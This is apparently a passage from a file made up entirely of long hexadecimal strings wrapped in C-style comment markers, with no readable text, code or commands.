cfd4e205e415f4c55286ec5bbbfa67aef6e464db4ad213b1370e46061733dbba6ba04d762de3fb0aee5b59ef9f4f0e64079e5b7b327b6db3734a3b65e80af27206c3eb44af9003a8c33fd1ac7d07f0d78e2c014ed780bf4fea72d57ee07dcb7cafabd39a76ceada6012453df2a4ed51f01170ec0f793ed7d18c3b04f7bfea5d0965c21bffb4dd921c43d28f840b2d04efe6faca404e1e720b26bf072d239aa95ca0fb390824cdf313ffe0cfb567e762175e55cc1fbf8e1921fbb8d38cb68c20be2d76ae399064adddf012b8ff645f6489679a1fe5ff47781c25273338615679b3e23afb8de0b203d1ffaba6a32c865a1fda0fc0a9a50a0009d09682f5a9beb411a7e364759fb8b5207d44090e8bc5ce0ee7c8ec11840e6a63147c57a4dad6e4818b6cba87fc93cff60706bb962d5c8bd4e6362b12d131659ce4472c09f14ddfc9d66a83581934f996aa638d49ec4d69a3d434a25f793ae1ab5a59215f7ac3d0800adf28051815048a08aa1a93b526d2ec6d42f27faf89de33cc26c107d0c30a5d1556f9e1bee000a311d4a3692c179487b1ffd10aad205cebfa16ed9f4a94b036909f7e6a8af96bbd16ae0fd0c65612d2711996e7134717a35bb6b9790c220f93aaa420785bd272b0373d1fffea5e371dec1a67c4eebba4b0521c6b8b8a963d515811eb457e7ba1bedd0e98531b8bc9605365dc85f003ddaf888e352c40fb6a9b8e0c6766aa93bfb284543076681859703fdc034d3bdc8e5c8920ff67e196e7932f5e1c2b6a89817911c7a6137a446471e0ae24d1555a572e59*/
/*aff4f7a25ee9ec9cc3bb4ff8caf7919b8f5969740b84fdc6cc0ae406b4186fb92009a53d59d10ad75662ec52a7dcbbb32b40d5663e11f6ce6cff495952a82dc3022282543b025a3cb2fce9f987cb0505d2d8627d29446abddb41db3d822db7ae45acdbe028f7ca394208afc7050d168c09b66c000d174ddf2a4bc9b2fcdef09dd6532ef545b8d01ba679e582430554a6a37dad4a27681ef0a0c5b8ea2a560742a32b49e6d23b250839b224bda67aadb44a0e9a93bd084f28b959a5f3be9c9cd837db964c391a358caee10e05b38566ea8a55126f40ff4eb4b0f9a5803e5897817ef7da47c1b85b4ffd5d1403800accb062a67262eb0866e52e7387041d0c7c1535c48532cc611b8f528608a3f59c89b403b48fd2eee29a7fd7cc193c5c037b35081dd54f6cfa7dbf11b3548d7636bf649d1e13390387d4c824db766f61fdeb60a8dfd7cdc4987c1134b0357474697032b507b25f75bee0b7dc1c4fc7c2f065e7ade5e8baf89895f74875a7e46f3c3628fc5bd02eab291a2ddeae0b2aa2fa3b673558a1d56c9c876c1b4ad40b640d0a703c9e05a689b37b1f824f947a28ad90e0b85af75dd1369c89f9840522ab17bd9a1781bdf032742f89e1b8602fb05871804cec1aed6ea1621f49123c891b722abba5a43bc00a0d52584e5ac017fa1bbb8c08d0032027de531de36fa4ec4f8fd4726f0aba6f82e3920fa9b2573369ee5fa33d009ec5270e50c3e7ca611cb39c7365a9bf235d5ff6b278630ece2f5b73c2b766cae04f5f67a082d94768ef70b9536500ff29c86b3e823400dd1a8b070794131d8db3687195467e30843361b9d756ccd08717a3eed6727222144abda654079ac389aed989724523b12f2db8183ad1eab4ac72ee378d5ae9806384af0c7134b50b709e759893d59ea44f407a08cd4a19e74d50c7647a3daf9acb877150222f152bac9c6ac478d01a50e388589a4280f0f3fecaa26b6f2d9220e256e61dbd6029f7a59d2adaaa67491ffebb13b7fd3b81038bf6daa1dbc02edabecd05284570371ee661a07f77a76adf4939a62043a28a670be5ea89e663ebf43ff0e487d0c5ff5a654795bb6ac6703208385962a6a98261ffeebb8d3bce340e583c4cbb0a05dddff7073d9cf81d36df132dbee0fe5a9b467a944fdfdf9deff722e3e050ef0844e56e381d427e39f738578d36375ec75b1aea4ec4652c0085786ae772451ba2cd105621e686bc4026e9c0ad2d395aaaf0ce12e00578c3a6f3dd99908f9789d648356f5134e5f2126f88142fe0fb3123fcf07b8dbdac9964e69029ac4438db1896c1f5425297153985ddaac091073d13564a992b5c025b5a97bdcca0a15cbeebbca460137db75774e2a7e32235c975fa250992c59b295c2c6ff9abd78a22c44ff356a682e9170e6decf625fea48b8f2ef1d223061d5cda4e3f6f3348ee980eb6a0c7c5cda5ceb0b090aa066b4dc46db189bcd04ca5b6f8a58b73b53b38158c3407b207910df0f87e926fe1ef90c2bed00e5935d42b0869b66f66f8241e3cb243979e3ca61daefff7f09449ce039fc112c3f7163ef28b9cd7fce5daec7f68a04bf395a3316f3ef67d11adfb36b555799bdb3e42620d30a49e48a5ed179aefdfe4c5ae02c4bc0d0b868eb8344b479054844209533f6d0fc335171c5bfe39d183979c5d3f06c5d3ab7567c09d43673f31567a5c2cf40f94d3351d51898bc063930f92daa4b4af64c908f1b9656d499b9c219f70ca49eb1a13a22e3ad98389da6a36c0575b9f11eaad9bc6f7cb3e714056ba7f299e268cb0a4d3bc7e20851f99f176ef6cfe03b621a2cfb0bdc3f24a7728bfba7bba5462c4961ef67ac7dcef661b59c82975188fa2f3ce42777624929eecc2b32dec09a7684688c56c183f6e39bb53fb25fb5b852d95bb5fc7bacde170b00e4401304454686992f6b1e2fbcb78e39574c824d40d9d47dc044407452ebbe5a90bc41236d70d8f7d4a25f5ca35c3264f74fdc221f94a0523a46b5fa4e8172ebe1930591877e7c3f5e3de199e40f0137b78a3aab5d1a323641bc865b8c1ffd175a7a5b863eae21d220b3cbd1e765725ed3a94e4190d3f1f1772e96e64270138687f3547a7920a1188b76df8494eca586765d5c30cced67a67573e8702d84f928805f809b2ad8c5a123fcc2ce40eb724f4c8678ab8c1ec3102761bcaa7cd70230c716b0dd8b7877343a5d917d81823c7ff572eae23ed91f2e2f3178234309c7df12ce431151f7768aa75c279be7ffa5319b3d49ae70def465ef6a645c3bb41f35b9a68a5763a172ae2599f56f643319892e5a9a230a44d01afc7a6a6f8fdc0d02ee31e7d4527e7cf9c86748ecc3b09c0cb4176970c1c5691aa336778be6adc4eeb927aa8f47c78124324f5cc26f4427498318af6a0c146494c8cdf11c1c8a0324ad111f4da72cd61c0156bd69cb660e5a45996f367cb7e846aa9bf7bbf22ff2ac673f65b55c17ef332c7de91b203f0b2d50565aa9300b19ba26958f290ab2dfecbe48ab4e4cdea3c10a65f2f399809f232b6a16bd731997a12ac2c02ac9ab4537d37d4145126b2d53979d2276587d379632716ab34317d7209935d70d8d3077625d21c82d8465d915990ec017c7910ae0750681b9b206c3b0365efd0b9fa2207660e8bac5e16f94037c9d0508819e110eb41296b1693dfdcc27193d80957fcd653d3709e444e87f7c784e5bdc6836ba752b77a40fe619622c53d96858f7db90a4887dcfc83fcb8ae9ee1106ba6b4434c84edc2a569f01c93058af4569debae851767be62474292b0798bbb1e59a2d22b7dc2132004c2bd259006c95f659d26ea96b9*/
/*f434fe54807e6e05b85a6e8f5b8779afaed17fd39b091dc12851feccdb10689b598b45f0069343acfb3e7659e3a2b2ee2f66be2bf3b1c85d2a65cde5314a29bd2f04be3f6b8a5db48b843b69cda0589655f49689464c6352efaf52a1826896206ac4ffa0b34c36d983aeea9567109300cd2d556734c00e8e708a8713ee2445e9d2fef4afc524a56a324033d3a810ab76a00dcd06ba9347112a12277d6d3202c43479caf8e5eb786eb346c81b8a0a4986796fc930104fb4974079ec0612e51cb533d0fab6192aeb1ec5158bfc7adadd26f2b928d1ac6590885b287d2d546733a235f281bb9ae5fa329e0a64f9c3e677d207ea29f8eac610a661b8c16bbba5a4998458c7edf78699cab1043c4778fda3604cc3af406b7647818f4686d929f80fdfa0a675553d03e3dcaf1f31ef72782a2af474c6f40b2044e58f46f1d88547bebe4764f55f88ac415bdaf525a0539fdc937ee906b111531a4d6a29a6d3306ea936029e5acb73b0347f51aaea70f26d2505443dfef9a0e037b713250be8051fd62008711024beab3328a3cf5c9478d93990187c1a2a500fba6d8333322abb4bb6afba0a0d9ecba1bf83959217ec105a86034832ac3e0772fa843d2bc259819e00a42211df7fd0328aba7ea4973693612977465f107afb70186992acb72b6382e907b957d1b74da66c5345e9af1936b8aa13c651d57e718b0191dff09292aef1794a33ef1dc2950d7496f43e0a25d0a8e9593739532063ee76a25e5558c61ebd0dd43c3591b0eb3af35e38dfee3298fbc0cedf7898910d7e2ba460ac140218fe19e67e9bad17d093bf02b7a6cb716aa413b2ad39ddc71a849581e02268e25447f2efc723ec6406ea285d225663d7daabe045be844e4e251ceb6bad7b62c8e8cc6905680c72f54839b67837b15604606825ed57168cac8ecfc1d09c057949b3dfaa9e633f2a24b859c52d0df4e083b3dc64bf185c70082ec1af3ec4046a3dc472cdfa7f04dfdfc15de6c4d987deae31006ed3d8e72f912456e05fd2de304693628f0973edc7039006548f0ef602d764a6a5bb46dea6daba0103a4fb163a2d61aa4feb54f111c3904d5ced271cf3ed2e10c6857bc92f62bc62484e143bb06fa011614f7d9d6b0054fa94b8a4c9d48289a44bfac23668878681c67aa98caaa6c936529ee006682546d48d23164fad9d760d10d2edd5f313ee08756b3e238b048bf3d531167d251620d0e1fe616602fe72235c86370762b81b708abbef519e33f940a7b0fa8b35a0dedea4c7496f38749564767d3be12fdafeb6d8403a1dd229427807fe498b2ce27e965fc216e234d05e4567a04dd1cc569723e94e3f6fee501af49a79455a2ce33e8628e98688784f01ae6efb35024402ea4517bb7a76f8824c915363183836169655cb381bb957ef5a616a4ff3886432d6b6f254f18978c9f33d4c67a2a14e71cfc939c4123f861d001735a9ac4dcbdf1a238e4eaeb375ddce713a2c08afc23b3685fa03c2316eb2e15fb8af2f2d484f73804d9b07045ee7f455c699c9f5570be6afe01f231e12bfe88c07fd134e4daad12523f4e343ab9d2721e3ab91f28f68f278121224aed9da85d2a16b409ae1b13472df630f82badc6539d10d8d5bebe8d2fc80592a5a4c1e6f58e09f0e860100c6bac5988e8c360762a01a962523fa0b2e771632bab22f7c960d8b076799d870fe05bd39e150866bd7dd11c4b92f5ed2d079fcb1bfc7871da816c884caf41efbc1a2d7a9e8d529cd0020305259861943e150b3c77c249a6d703a06d3f7feeca208c7033905f4f5a3f9cf775ffd0895b5ac7b59e2563f803df0e9584f8b1cb29cac050c97c60afeb15d3b2d2e839b18049413f1a9765081efe45b5dd1ac7d0e26184291d7c387619444bdce569e5133e2c8456fc879d75e49d8dcab996df2b453a51934f1fb3f6309522724865ae7c66940f55ad538c658b2d7b34f4c6ed9894120ec348bb6ac82b39ea0d997dd8c36b0ba43e54f80dbfa9ceb7d1ec529a30043f26c252c187ebd554b84af526a00e1ec466feabded3d73f90e9059adc754db3267703816b6c08ea6f79f29cb0358908890662e883846c0326631cb7c5b0cdcc23443cdc82ed16eb7b2f46a118ad346b0baca733b58b7205900e1915d8cd1071f211af5ced4da55d1b5894b041b688c873fc6bc4e39bcce2255c334f1b26115a8129784bc3159601825504a8b1dd14ba8e57d33f50e88a9c24645c00ee853e9a809a90ae74431f48a569828b3cac183b52d79dded301d232c89e25a8e373389df2cba1e790433b570f00f039988b614b83e01ad0bd2fbffe4bc3f7f02089082650dc59b059ed07048ae1774da9935d5674c99c49d3e3b796368c77b40ff75382bbb92c96edcb50f53208c268066090e9443714b066bb55547ad815f16c44de34f7212433e17e2f6cc7507893c704c939a8991f6c8b0a375e8e0d44120c96d6f6fd36566366b8777f4e7ad728d04c878bb7379ea84ed3629c615573862d30aee6ad7384c9053b5fff7e6111398b3056a2b2e019635903874fe39e1251714ed06911fd22a275575b5d6f96622fe11e86d05750ab7139c609b837931e7b75827c5eeec51627e4e8103a5f4fa5be4602c272df01147d539a740548ecee078d7a724afa16dafd711aa434423c2002db73d53c518d09cc8d41b80230b0f735e6c245b60b57ef9ba5b93980456ff4575e198c242432896c1bf422647da95a21603c4f692c20484446d8baafbae3b5b7094693b3ce4075e9a356ccca83af39981ced787c9d0e59a0319fdb99073e8e234524439f1f88ae96cd8d1f582ae05be9e*/
/*390996985a151a0bcb42fe00d07d182c59a30ebf76dca52c0004338dfed025f464e4d6ec543c51becd2082d3d774c0470b0dae4d91cc3098390cba2c21f5d89140de0a492f2fb61be39c876c821f2e64f1a0b1336332b3275ff88e0b6958dfe7ee95547f531400ee4827b53b6f0594bd9e32ba2c3f97a8ed735720e85e8f251a6072c84a584fd1fcc78fe27c157f32429face6c197b56fe2f2f187d4214bbf89b034a1c403b8888c59948e208158ffe27bedd8f0ee7c15e68133c1efe3054c881e1f82f890818d2ee887bd947d3d243cbfed182b90a28d517173bfa43f87a84ad5b69a2a512db51a55ec147a37e05703bfcfa4405a8da6587c3d46324c82e91a56041d74bc6766bad431fc335693b282c99051d0b574bb4c02c55fa0cd2d71dbd715f35fa482514a31ef5e2f038f1f5fa0e3e7c08a0901f2e523683c3ad502d9b3ff85038f9e69bdfa7a4504b271011a2040cfcf1e3029692a20ed720402202ddfa50a1d723dc80e506c42434c39806b3c946115302f023e8f80add85f44b816d039c99ae8eb3e51180adf790109f25c3caeb392754d6e2f64b7dc8268cb0dc488668506073caa72a3c3e02d6f0a46955ae55425cb121b5fb04a9f9ab38f7e9343a9411adb512f122e3a47efbbc633910910a51749db1ece4daa4940c9fc9c0fbf503e970d2ff5410d05e522945b6103a53bc041e835138d4b7ee94c995cbf493ba5ec8ebfe1d21b53db3839b0a579aba6c094f04be5f90a873f29571cd2ed56b0bb4c0c16019aa5b626cdf67880defe532b40dac39d506b29c52f0bb098b3859cc47b192683c9be75a2005d2263c968c279c7b9b98f6c6012e8f0c54b4c9ed926f9a13370af032dd1e688c20cbf6047d85a8c5877bb5b4760b7badc1c23b1b681adf5f6f54bcef525a1755caa5faa1122ce6e1abac753755991486148ce562c7f60c9f365019b64d6725a414ab2fa51cb3918d42c0979cf85004d69cbc946992e9afc799cc013fe69f59874e5331c2cb24390b000c0ea8e655178b3934462e45a0c226c7fb407f33b7e1a8a16ab4c9bab88e10c256b9422f87b7c975d32b6236d5a56dae7d58d5581e2a981289ff777d6564cf76d411f3ebf602c9ba8d40ac8aa2706695fd349adc7b589f857550e52be59acf4fc5802542d4dae4ebf224a56afae64c2b7b7dfcd7a977a88e3729d1014145e92d597e0e9f28398c8cad04d35b9086adc3cf1138c70187c3d2b5b2df099c2300b5f800da964b0a6daa9dab98c7009321d159f03291b922f5658773bc6b6c4520eae4cce6937f37ba32c4bed1e73a70c7a7370d01904b50205fa0867ce40b446d42b276079ec2ae4322002993c1a80492d9bd5c027ef183da12ef92ef35ebc4a2a2f49181774ac8219178bcf282868eaac8c4a025113a113069de7d15238d01ca8c864a1dcbc2e792c9d798339ea782db863f0c218eadd745a3b8bdee3749987036df91474d5e4f128f665c145aefce75e3de7b3dc9741ec393a664fab70e12f6e961d24af26efb53282aa2cd1f3568b378e11715faa4de4762de98f7539f966103d074626d45ad20acf22ca81fd632794e7b2195ddcfa6c9cc0ccfe427c1fd857f036817b80b7acff6874485cbc39661021bf52bb0c82f54e41fba3cab734b7effee2e38d77ed8c9da91c5500d0529512381e88669cabdcd4c7044338fe336576af6825ec965d31603d3e1616620b05e0f0322c79f526f68cdb64956c96a488dc884094b4c7ed1361ec2f0c6b6cd036fc824d854debd07905a4a6641684fc1832268c3fe90614ee172efdc9f383292ccbc8360bf093695efcd871043663d837ec4951747754697b88c6ef81da29639cf6a0ddd076d717586fcf1eda0d4c911b7b306cf21c91a1cf42704e2f461c2a3a7a571e9a041b371ef434bea0ce4a6c72baee66d14e5d20012a31d16114092d97a071653589d60a00e076855daedce833a388ee50dde4724ac7d85b59ca9a4323795e41dbf4944957bce8d618ef09e2230ec6ec5a9a9f90505897cad9a90bc47517123644005f48470a905d6e730c80fa0dd4b473e08c0e1bf358fb9157176ef3296f3fe0c15a12f36d29b390cedabb22b004b37ecd519ea112c901bf7b62cef9d245738f9de74d7a10b3668cffffa38eb4c7f376770d9b5de2c551c0d0c264877f3e7b327e5c312dbc8668eeb84cf2087fce977e10ccc7faa3595e6bdd8d15b9ed8f1bec12ad17d17f5b982e3d983d688a624ec243d88eb4368dc4bbf9e8f127c079b286e507b7d6c52652400ce629db83c69a9a5b3a20dc9ecce5a6222d7ead13bd6d28a61d3c4e865e7e049c7d3f21c678c4b0ab95c252516caaedac82cbc9c0a03dcc1918d62f0d8c7ba8570046124d83f93c318aea64d6a87f9381117a5610c7350c30586f2aa60f9f6548b104d12ea8309fa015f68a4064caa441d6a0b538f8875871b5fc2f78defcec603c3e62bc6941a378e65eba809515d29cb72f5dc33157aa90a5c0f7dd9d012bb0eeabc38fb110411a0be9a4032fb92e027f7e5338947e8e26750ce064b2a5b36b30a55da8178454f3969dbc2b6167b73131fd09d1969c8ff6208b26a3c9d1177c38cfb31234be80dc525f9f6a3dbda92b5c4b0ef246ab9e9ba0211b0053eb077e34c0134a9fcb6b2d4a16be8273fb9542495faa7ddd4efc8019b099c2463adea1ac50c495f6b0b4c750b499345d8d9be95847787287e1bfb3e12cb8011091b98d54a1a03c88cb5381e367fafebc7f707f1b8edc6f665c5b86bb978f245c167bfe8ea57d74b963bcdc274409e691cc840d96a861087e121e8b3c9c8bc309094215*/
/*3c2f879887bb5d0dc84ba0de9373e2b5ebcd529747ebba67e1517e479fe925ebb61d2bd0138621460525cb079c648679985b0e315ba40eb0d3b10985114af317cccbbeae24800b8e3a6d9d7313c7b55b1235b486cab4d483c00b50579a07744f0d043a011f957ec0867783ab27a02c2ce97a95bacfbc85a969500ffe70af541dca2c5c71975b4e80a87a9c16793e8d233d8b7da07a43b4df2afe8c16cdd5a78d31e883599bd688efaf80a5558f3a01c1262d2ca6cc96376beff2c4d3d0da45188461560911c2cdc451b13e886b4a4a580226414520a240501eb1754d6c7bfa9ba21c986aebc7736e21a4ed51c9a098b7d91781f6bb814b252599429a03a0453bf82b6222e09e250d7b512fd1349d33e38bd30bda2fdcefd37c4dcc3adcf8834079d4ecf431f8a267e454b5df329094ce7aef458e2f03601031835dbad8a14a1be1c70f70cf482d102f4662d5ffde014aa6badd682f09bbde4bd8e748d3c2ef5ac4c0ad6bf05851d23e8c39015423154554ee13a8ad657b1854796382a5812d2a314dc86a917f0dfab2f668a093915e6753b5a7ff15705a729b2cbec5d4d1319d191c382ea885eab239b1f846900a2e0354e0fa93052cf45479c2f29465858be6ab2c476a240c111d597958fffc7ccfe5dc29db90cd6fdb47db943b288e44b5843d4c1ab0ed8cb03138c5dc1a9d9a050d5cc7b516889e203b9316762f83dde635716df191b26f17e3e3cbf0ef4817717b65b4504dfa5636c5f59ea3cb5643f471937cd3a9c25ed3eee0459bb205ba1c71285b0c0f8e6175e3dd02c9045d1e0373586ea65e14990b4c7e674ee27c7a6fc71f43ea5965be148dc52aab7122b1073c54e57d9aa46a1fe8bbdc1dd7edebe772ab297d8d133096b0d3f764a0ab92f9c10a9f87a4c2c1ec42a13bb415f09674f72c9c53b744b368627f4fef018b577574aa606fe2f11ebae7515eb35bc7b7bfd1e695dc4390032d47280c90afd1b123eee24d7eae83b74ac217d3f1d77c24f1e72a2aec03216b685e97a1d54612fec4834a82cbd08acac57a7207749df6238b16d1b1ba148a191c12ab415ed387e13ee63fddc959f47af66896d1f4eb3103c904fdb0d8b69ee2c112c460f5939d86726a7e44aba6276fb98c3053d8a09fdd05da5238aef0fcc42c68e29629c37f01d084a66492982bd224f75e1c92fd6810a11ad7ffc08cf7600649102e225af5e76e94a1e3c98179185dc022b7c4888f744e98b7dbdc6943c08ff8b32b2a32a30e07237009c59ae5b800f281d30d89593375d8384aacfbf796a038b9f65f8e65345f36b30cc9b26f4aee61fcb4e688c07f068c076c9115d9137862e419c33bbd5238b51e350839c1bd8924a189c9d9bcec2e27c922a91a2b35e7fc041049840c6e4ebc5eae578a2194c1782c6133661a4a924510072dc90657f1778b1e408b8f38e279455dd77607e7ee06674d4a4caec8f5ab2396d01db9ee54543aa5f78576c1148c40f0773dd5665dbc0ea2970f6f155914ee8511be075f4b21971bd85da1a37b33957bf19ddba1fe24c4ba0a80b728e7e6390b3301197040df92a65c211eed0eec3c0995129570059a423e5f93e39a6ab56cc5f5238d836128f19a0f53ec2c1d94fa1a129e63aeef877aceaf5d4fc623b7c27ed3ead2be745d549d429bb70ddfafbe98430f8449a86fd2926ac0d748e8c54d007d7fef729108691f5047af1503353e68d801be8264ed8e84900a6545429812a6bcc72ee8c3e17bc5bc8a120ca97d1fbde98422ce84ccac910948cf42ba8778530bf0e7de865773a22236cbf12c9a9820c69ce5aa00181f3a69edd77a841bda172d620a81b20704482c5a5a87b1ff9aa19a64eb0da29d02ad7614162f490f54415ebe7ced68c75b10f1a394b6c657ffb3b98291c60d98961ea1bebcdd1165d2c99a19a0e7fefaebc06486d4122429e1abe78f937cc96a2f1f25524afbe8e8429db5b1fc6efebba281fba712ebc021aad77b3449a2c1be627e4b890d7ee642f9d79b8c1cd0765b8dcb2f84649cd4f9b647884ffebb08a5c7ae5aada491b06ffecc9113cbf2da99fe9fbd6b4f5e60cef000019755129b960642995c43261148a4b9cd43293bc481a3c82ea36588b447014ac24b0f2abb001cc1a97c76343c8401c4402f77e23800b899c3348c0b5f8b923cdb6ecc0487ede257a6f43f16bc9b325b8a51074dbf53cbf2f7ca28702fd5a264b44c9f5d010d7cc94067c4342e11daae0409553ef619d7ce2a341b0bbe27bd77a23ddec2ba9c6674fab41e8716867b6590fe4fe14f371af9343873cd4ea633e71881b3c0a5a681dec452a555eb725c41a0a5183596a35907bc11857e4cf4870a392bb429ae70b7961bf5c667af23239d1bb38a312e52a9cbe0831e3059ad03ab99f7c7a59c5b285f8d8fe337ef83b5070d078c6823877579960e07004b246d26bc298a443b272a3904e933340b342c94bc01e4e844523d7ef609924d6022611d5fd1f1824a07e6022e0389a081915188ddad68f42be301debe0fe4c66a0ce566abdadaa150f75f82e74cdb860f179d4923d8d2dec7eee5d2ea15b5d69a561be78525e31d80aa259c37f39da696bea9080f2d990132ae3e38de968644ac80a2799fc66fbfca7c2b9fd88f909a327e67d41a03d4fc971755b65c1bf3ac3492a0b3a0fb6f1d91f1f6ca19e713b371a6a0b0b0d7dc23f244652b8bea22b22ac7240a6d290e0c4232db100b2495add997383ef69a30916493ae6f9a96d2bc1d5ebf7c02fe8293e4adfa1797fe752f5a3c704f23dea759646209ea81549fba7be41a7dbdeb6c1f2c71813b6a475ffcc392*/
/*532fb88f9f9f50fb0dfeb3c5c4ce3068284471f1c505661f96ce6ad5dd6398b8841dcb86c6bb167e7d144bd1b02205bd21f7af0ad6303c169961a6d8c1b4a9b9654cb4bfff4bec835258b814a239adcb0212c801bf98598f7768aa1b90f04dbcea806ec6ac4a761c6c62f6a32164e93633ae21592bb886dff33d703f8da5ef7a1aff9b584a766d3f131d284ac15c57efdc65483fae6a68baae9b6d0188c526cc55d6e419744da54fba97a3588f9cb90a6d354c99451b8cca305bb024cb11e4d7d78c83e535986196db27d4c600c7cd5dab9315078a74506d6b0d2a765255ce49bf6407dcb930bc9f25710edad6839dd7eafdbd6000e2ff48bc6b17e955f93d66765a04603b2573eba8cb5dbe139300b8627ee5202fe36c515fb0c534a573cce3cbd6bbd91f4926f8f3fc9210835f68c07a7077870387ef2dd5d074700cab847955954dda1bee319802810627c2f2dd7f0b2800c66731e03463d0c9933bdc2f2b98a1889762849e90ae53e7cfe1bf746dba55bc51220f8e1977e01eddbb12b341be1ce875d46adf9abc8c5826f36f363d17dbf0eeb6d8e25384a508eec4ddec018cdef2654f9f45b39fd43520865a27a18097968d5b0f12a7b970ca8109180da321664fa126a31f433683a153ec00ff0dd553522a6cf00221c3370df17a4dfb42f8da76a4d24d4964d8cd3f68d63a4f7026d19566c938d5f43c29dadb5bc58159e3ff6a7a5e1eac8bf15df3478f1e68b4c8cb88d2384792a40dfb70eb0cc9172c23a2bab1abeba24428662c21aa55ee4901216b58c6100e49d48ae027ef96cbd1a2e9bce35b3d066355d37af986f298c10d86ccb9f34b9b2a29161dcccaad9ea07a84ee8f6b76740745a83efa70b120a72267ea9fa54395d7489eae9e6b74d6275d7e1a4cf51a7dde4957ce8a6434239f3929ac3878e396d0ec4094cc9e8350045a1577e2c550ad247cee1767ea2a3f95b96b6ea785796eb72cca171ff130da294dfdc97e973518453f1f5d3a15ce56d82b3d9711c54d37fd85a01647f85a39e6d63ec11a346adb3f72e897ae3ef1d8a95a21b699c6002d183e8c1e44bdd4ba3749b2dfc597857f481014c5f12f0ddf4d1e60e7129bbb565bd2868f2087c531b731aa629ab221e54cf3a984999afaf3814749ca5f440eb7171110e40fbf08e993e0571dd3cd981136e2376b70ca5996b701552d8dd49e3dc81341772620c35966be1eb8c2aff712e51fec8cbcd462fc2acee0335b0aad72ff6201bfa8d1d4bdda969c1a853b530015e8f2267fcebb36923dffa0930b197292c3789855cba82edd9d489f9c2dadb445b626d30c7ac17752aa8f0319d1dc7450287964d253c76199ff5144f7e736be7fa6b132fb1e1f28896d635d3428edf468dbadb6f71964708e7dc2e4b10511ea94ddd35113145e47f749c7903a37410136b61a5061b233e8a0560d0ffec3c491f6aee59a718dc32c6731664d25f2e72339fda39eaee6459efb34cd835bd8779ee8176872ed2334ec66beab9c5a7765dd12470164b13ae96b8e0e8371340052ca68a932e4fee890dca20b1888bbf5660a84634e19eb4337b6f3f19dea24e6380b740002e753cbb308d9a5e8158f08a890d2c6368fc7116917c825edd01c0a66d9d28c2abf675013caffdeb5725317cd35291580124f49b3bb309a51f995ae0f093107d1bd1b3342d410a97f81d34a83dbab01f83a7e91437e3ee76fc9aad5d50c50b9b64722d469cc55faf60a9bc215604404d975493b7a2efd63a0197a7a6172cf5eed67d458cea18e833312243153c1faa3d805a0deef4fb1311229d29aa2291e6da8ce7bd4f84b4361d9f2570afda976822f186bcb64455c4f3b1902f397794279ed9b82d965b23a7fa96d605461ee677a14783111ecac729a0e61c46a78472983e30166b4758b6356df5888ddf6956bad9a58e0113ad43980cf8384d676afd3541e16727ad77b43892977daee8c6ddb9f723bf946c14b7f664d488145e9a5e06e1e96a41f40d5a81a8d850969c3129f486fdca7807405748b9ee0a6675dd6c591cda3c68efbf81f659f5e00bf02abd3d15f5e0142b99ed70792bf5bacbe6572db1e657b902b46802e1dee5f23f48e9de9dfb5565fec991eb0bb96c3759c396b9368fb377c409dcdd9726d27cab56624eaf4ae9b00f5ebc80f63c2ae99556a519802bfa2b4aae92172dafa7cbe302b983d2079ef5f79c7d4ef56178ccea66490e6da3f9e006ef37989e3609b21834986b4104517237e033a5292cb9a3dd65a34e8aca09ae44e99dbb02829d4fc8e46c2fa52bac3a33c4d12a9c548a8ff40455759e71d1429aaa1e550ba51b66f740d5747dfff3e7eb31df9006e5835b97ce2705c8f3029465581980f3e58e8dc5ccde9effbc18906f5c604f793f7b89c51897fa04f77f5506ce4639be0ca9097a0c073f4e8197d1322fd612c7ec893789df5e37a01e3ff510df095773ab59dfccf2db919b1d6b0d1dd5540a91d7585d6478dbb65d56d7e35422cbf8f989a563bb3555972db537b9ff874b240839c62de0dc48fa4162f37824547d7a99e1b6167d04af83267c0122ebae1d176d687ca429ef4ed41a5920babaf6e0bdf538c27a95fcc908eb39227de28481d8378af8f0e14962bf1b66384b9a1aaf1809a1c01e42ba5b26e5e4a0b6b39ac9b6aff042690b403553d13445e41146881576a5d39386081c7294e4e7a96bae23794fea2df71c09157323cf2ac72be171f2308ed357a18e9f2fb4920f703bee5f946438a4dbcfee6ebb07854fc2d174bc0ba54036101470646509f28fe06b3447c05abc2b1f2192218fe3fefb278efd0be*/
/*a6d4f50787706d8b1c3c739d81ade3ee61f3b107583cfa81e3269ec97ad5e7dbf919325fd6a30c1e09527af857e22c5669e29f4b2e4eac9819c74975d34d687205d26eea3093f8c1943eb6dfb1fef0015133a29a4c633eeb3731aa045601ef77cc63ce84eb15ebbff416a77e3eba17959a61d8ed47caecde2ea9c12cc8ea8d363f1549bb4e423593f46a220b31a62793df03f267acf7c4230546f63617528e5beb21176fa5d955de04271f417ff0f5ca4989227325d6d98270f1ad3d26371054631e1592bcdb45e7f738f4f73a9c1d0a96fc745aec9635bf37cdbde633fdc4be7be46fcc1d95895f4c4ec81f3237a2387a1ef72c93844e1fdeadd29c5428298a51c7fcc9075ea623378db33f58a856e3942872aa22d650027a3ddc65935735fa32725fede4b61114153e382c313c395fab5f8657c63cdb8b99b5559f2da945d7b8b16dee610571d7cd768c1068131b17823e14b07caea9de8187c545484ecfa4daa2546ceefb306c95c54fb7720f80a8f5d037e9966c338c2b4ad9da33bf99690e5ca747cf87ef87f6ed67576b7312488057221e2d427aee0a73fd4af6da370137fe74da7784089d6cbf078600adb645e65358e9650ae606b811fbeffadb3155165af3278c94f5e6c4b635c7f78b72f84a73b907eb19c56c333c8918f156622d934c680ae227de87dbd0a312fa66307b705d5bfd9fa0ebb9acec5dbcb02056a69101d25c89faecc1d5d35e20743d26206c5edbaab78a8463354c2db53f2157e9f0c4925435ae7b1bdb20a8427ae5c95d5c49b71d2885c8daa78c0448e5557facfd3d5867de32ffcbd14c7c66257e19498f87f01d86a17ba18c870e84dc34d6f946276008e7b86fdf58159968b315857e8417dfb646c806f12dcf12c737af5ee20aef7d624a6e375031abd57c0a587f787d04eaba31744bb373002f6f32d06f45cf58e7727990607f60af52ee4194c1765d8a99af34d8cb5e67a4f3c375796b7797da1c059868c77dd8b60e03b06a48a63a13abd53ada9f451dca873e7442a2cbc9b01b1361c18639a977e6aaa3122b3a843dc9453acd64fedde27d29e0b3c942a304c313c250b6e0c471d76dfa7f6418e0fc1c6397619a591af05aa1da504478694f8ac26eacd2314c2b0236f8a5799a41188269a58d7e063f451c4c005519ad9aed2e8f923a4975ee3047b6b828b84a7450024ef087ab2c978d446bc616c44fe31ae8136566b8f1bbce69c5e4d1c437aacc8b177a4fb44a890e611800d95ba61334de4478fa5bf6c25f93503a5e164c9f7d09fd047bf071dc63c78eaaff784fc85f5ebf6dd009f804bde7f98e35eb71faf9e33b7ba22f496e9b9b0256b9e94d42941b3ba87a77c13c8dbc769f24ed739fdaf0279cd51ca0154d0eb6e573a